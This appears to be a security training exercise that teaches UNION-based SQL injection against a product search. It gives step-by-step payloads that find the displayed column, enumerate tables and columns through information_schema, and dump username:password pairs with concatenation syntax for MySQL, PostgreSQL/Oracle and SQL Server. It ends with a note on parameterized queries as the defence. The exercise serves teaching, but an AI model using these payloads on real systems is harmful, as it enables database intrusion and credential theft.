EXERCISE 2 — Full union extraction through one displayed column ================================================================ SETUP: a product search returns 3 columns, but the page DISPLAYS only one of them. We've already found the count is 3 (Exercise 1). Now: STEP 1 — FIND WHICH COLUMN IS DISPLAYED (and holds text): Put a unique string marker in each position, NULLs elsewhere, and see which marker appears on the page: ' UNION SELECT 'aaa',NULL,NULL-- -> does "aaa" show? (col 1) ' UNION SELECT NULL,'aaa',NULL-- -> does "aaa" show? (col 2) ' UNION SELECT NULL,NULL,'aaa'-- -> does "aaa" show? (col 3) Suppose "aaa" appears only for the SECOND payload -> COLUMN 2 is the displayed, text-compatible column. We'll route stolen data through column 2. (NULL in the other positions keeps the column count = 3 and avoids type errors.) STEP 2 — LIST THE TABLES (read the schema): ' UNION SELECT NULL, table_name, NULL FROM information_schema.tables-- Each table name appears in the column-2 slot of the result list. Look for interesting ones (users, accounts, customers, ...). Say we find "users". STEP 3 — LIST THE COLUMNS OF "users": ' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'-- Returns the column names, e.g. id, username, password, email. We want username + password. STEP 4 — DUMP username + password AS ONE CONCATENATED VALUE: Only column 2 is displayed, but we want TWO fields. Concatenate them into that single slot with a separator: MySQL: ' UNION SELECT NULL, CONCAT(username,':',password), NULL FROM users-- PostgreSQL / Oracle / standard: ' UNION SELECT NULL, username || ':' || password, NULL FROM users-- SQL Server: ' UNION SELECT NULL, username + ':' + password, NULL FROM users-- The result list now shows one "username:password" entry per user, where product names used to be -> the whole credentials table, row by row. NOTES ON THE DB-SPECIFIC CONCATENATION SYNTAX: - MySQL: CONCAT(a,b,c) (the || operator is logical OR by default in MySQL, not concatenation). - Postgres / Oracle / ANSI: a || b || c. - SQL Server: a + b + c (and you may need CAST/CONVERT for non-text columns). - The fact that one syntax works and others error is also how attackers FINGERPRINT which database they're attacking. DEFENSIVE NOTE: This entire sequence (find display column -> enumerate schema -> concat-dump) is mechanical and is exactly what sqlmap automates. It only works because the search parameter is concatenated into the query; a PARAMETERIZED query (Chapter 7) makes the input a literal search value, so none of these payloads are ever parsed as SQL.